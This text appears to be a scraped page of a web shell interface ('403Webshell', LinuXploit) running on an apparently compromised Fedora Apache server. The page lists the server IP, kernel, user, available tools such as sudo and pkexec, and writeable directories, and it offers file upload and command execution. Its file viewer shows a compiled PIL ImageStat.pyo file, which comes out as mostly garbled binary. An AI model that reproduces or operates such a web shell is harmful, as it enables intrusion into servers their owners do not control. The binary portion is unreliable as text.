403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11490/root/usr/lib/python2.6/site-packages/PIL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/11490/root/usr/lib/python2.6/site-packages/PIL/ImageStat.pyo
Ñò
ë¶rEc@sÍddkZddkZddkZddd„ƒYZeZedjoeidƒZeeƒZdGei	GHdGei
GHdGeiGHd	GeiGHd
Gei
GHdGeiGHdGeiGHd
GeiGHndS(iÿÿÿÿNtStatcBsteZdZdd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d„Zd	„Zd
„Z
d„ZRS(
sGet image or feature statisticscCs˜y0|o|i|ƒ|_n|iƒ|_Wntj
o||_nXt|iƒtgƒjo
td‚ntt|iƒdƒ|_dS(Ns$first argument must be image or listi(t	histogramthtAttributeErrorttypet	TypeErrortrangetlentbands(tselft
image_or_listtmask((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt__init__/s
cCsH|d djo
t|‚nt|d|ƒƒ}t|||ƒ|S(sCalculate missing attributeit_get(Rtgetattrtsetattr(R	tidtv((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt__getattr__;s

cCsSd„}g}x=tdt|iƒdƒD] }|i||i|ƒƒq+W|S(s-Get min/max values for each band in the imagecSsZd}d}xAtdƒD]3}||o"t||ƒ}t||ƒ}qqW||fS(Niÿii(Rtmintmax(Rtntxti((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pytminmaxGs
ii(RRRtappend(R	RRR((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt_getextremaDs		cCsWg}xJtdt|iƒdƒD]-}|itti|i||d!ƒƒq"W|S(s(Get total number of pixels in each layerii(RRRRtreducetoperatortadd(R	RR((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt	_getcountUs
+cCssg}xftdt|iƒdƒD]I}d}x-tdƒD]}|||i||}q;W|i|ƒq"W|S(s#Get sum of all pixels in each layeriig(RRRR(R	RRtsumtj((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt_getsum]s
cCs}g}xptdt|iƒdƒD]S}d}x7tdƒD])}||dt|i||ƒ}q;W|i|ƒq"W|S(s+Get squared sum of all pixels in each layeriigi(RRRtfloatR(R	RRtsum2R ((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt_getsum2hs
'cCs=g}x0|iD]%}|i|i||i|ƒqW|S(s&Get average pixel level for each layer(RRRtcount(R	RR((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt_getmeanss

#cCsŠg}x}|iD]r}d}|i|d}|d}x;tdƒD]-}||i||}||joPqDqDW|i|ƒqW|S(s%Get median pixel level for each layeriii(RR%RRR(R	RRtstltbR ((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt
_getmedian{s



	cCsFg}x9|iD].}|iti|i||i|ƒƒqW|S(sGet RMS for each layer(RRtmathtsqrtR#R%(R	RR((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt_getrmsŠs

,cCsVg}xI|iD]>}|i|}|i|i||i|d||ƒqW|S(sGet variance for each layerg@(RR%RR#R(R	RRR((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt_getvar“s

/cCs;g}x.|iD]#}|iti|i|ƒƒqW|S(s%Get standard deviation for each layer(RRR+R,tvar(R	RR((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt
_getstddevœs

!N(t__name__t
__module__t__doc__tNoneRRRRR!R$R&R*R-R.R0(((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyR%s													t__main__sImages/lena.ppmtextremassum    smean   smedian srms    ssum2   svar    sstddev ((tImageRR+RtGlobalR1topentimtstR6RtmeantmediantrmsR#R/tstddev(((s1/usr/lib/python2.6/site-packages/PIL/ImageStat.pyt<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit